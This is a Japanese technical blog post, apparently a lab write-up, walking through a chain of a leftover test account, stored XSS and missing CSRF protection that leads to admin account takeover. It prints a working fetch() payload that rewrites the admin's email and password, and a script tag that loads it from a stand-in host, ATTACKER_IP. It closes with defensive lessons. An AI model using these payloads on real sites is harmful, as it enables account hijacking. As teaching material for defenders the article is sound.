0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】小さな脆弱性をつなげると、管理者権限が落ちてくる ― Stored XSS × CSRF で学ぶ攻撃チェーンの現実

0
Posted at

はじめに

多くの人は「致命的な脆弱性」を探そうとします。
しかし、現実の侵害は“小さな問題の連鎖”で起こることがほとんどです。

本記事では、
一見すると軽微に見える複数の問題を組み合わせ、最終的に管理者アカウントを完全に乗っ取るまでの攻撃チェーンを、段階的に解説します。

ポイントは「単体では低リスク」でも、組み合わさると致命的になるという視点です。


攻撃シナリオ全体像

今回のゴールは以下です。

  • ❌ 管理者パスワードを直接推測しない
  • ❌ 0-day や RCE を使わない
  • ✅ “よくあるミス”だけで管理者権限を奪取する

使われた弱点は、たったの4つです。

  1. 開発用テストアカウントの残存
  2. Stored XSS
  3. CSRF 対策の欠如
  4. 認証=認可という設計ミス

では、順に見ていきましょう。


Step 1: 開発者が残したテストアカウント

攻撃者がログイン画面を見ると、まず試すのは「簡単な資格情報」です。

今回のアプリケーション(http://TARGET_IP/)には、以下の 開発者用テストアカウント が残っていました。
Screenshot 2026-01-19 at 19.43.39.png

  • Username: testuser
  • Password: password123

これは驚くほどよくあるミスです。

  • ステージング環境のつもりだった
  • 削除し忘れた
  • 「どうせ外部から見えない」と思っていた

結果として、攻撃者は即ログイン成功します。

ここではまだ「低権限ユーザー」です。
しかし、“中に入れた”ことがすでに重要です。


Step 2: プロフィール編集に潜む Stored XSS

ログイン後、攻撃者は自然にアプリを触ります。
そこで目に入ったのが プロフィール編集画面

display name に入力した値が、エスケープされずにそのまま画面に表示されていました。

試しに次を入力します。

<script>alert(1)</script>

Screenshot 2026-01-19 at 18.04.27.png

Screenshot 2026-01-19 at 18.03.10.png

結果は――
アラートが実行される。

つまりこれは Stored XSS です。

  • 入力は DB に保存される
  • 表示時に無加工で描画される
  • 誰が見ても実行される

単体では「管理者に見てもらわないと意味がない」
しかし、ここからが攻撃者の思考です。


Step 3: XSS × CSRF で管理者の資格情報を書き換える

Stored XSS が本当に怖いのは、**“被害者のブラウザで実行される”**点です。

ここで攻撃者は考えます。

  • 管理者はユーザープロフィールを見る可能性がある
  • 管理者はすでにログインしている
  • 同一オリジンのリクエストなら Cookie は自動送信される

さらに調査すると、このアプリには CSRF トークンが存在しません

つまり――
JavaScript から POST するだけで管理者操作ができる。


攻撃用スクリプト(test.js)

fetch('/update_email.php', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type':'application/x-www-form-urlencoded'},
  body: 'email=pwnedadmin@evil.local&password=pwnedadmin'
});

このスクリプトを攻撃者サーバでホストします。

python3 -m http.server 8000

XSS ペイロード

プロフィールの display name を次に変更します。

<script src="http://ATTACKER_IP:8001/test.js"></script>

何が起きるか?

  1. 管理者が testuser のプロフィールを見る
  2. test.js が 管理者のブラウザで実行
  3. 管理者のセッション Cookie を使って
  4. 管理者自身の email / password が変更される

管理者は何もクリックしていません
ログもほぼ残りません。


Step 4: 管理者としてログイン

あとは簡単です。

  • Username: admin
  • Password: pwnedadmin

正規のログイン画面からログインするだけ。

Screenshot 2026-01-19 at 19.17.30.png

これで攻撃者は、

  • 管理画面
  • ユーザー管理
  • データ操作

すべての管理者機能を完全に掌握しました。


なぜこの攻撃は成立したのか?

重要なのは、どれも単体では“即死級”ではない点です。

問題 単体の評価
テストアカウント よくある運用ミス
Stored XSS 影響は限定的に見える
CSRF 対策なし 認証済みなら問題ないと思われがち
認証=認可 設計上の思い込み

しかし、これらを連鎖させると完全侵害になります。

攻撃者は「1個の致命傷」を探さない
“つなげられる小さな穴”を探す


防御側が学ぶべき教訓

  • テストアカウントは 本番に置かない
  • 出力時エスケープは 必須
  • CSRF 対策は ログイン後こそ重要
  • 「ログインできる=全部OK」は危険

セキュリティは点ではなく線です。


まとめ

この攻撃は、特別なテクニックを使っていません。
必要なのは 「攻撃者の視点」だけです。

  • 低権限でも中に入る
  • 小さな挙動の違和感を拾う
  • 機能同士をつなげる

これができた瞬間、
“軽微な脆弱性”は“完全侵害”に変わります。

他の弱点ーLoginページ

Screenshot 2026-01-19 at 16.41.59.png

何回失敗しても試せます。

評価は

ユーザ名かパスワード列挙ができる弱点がある。❌【重大】

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?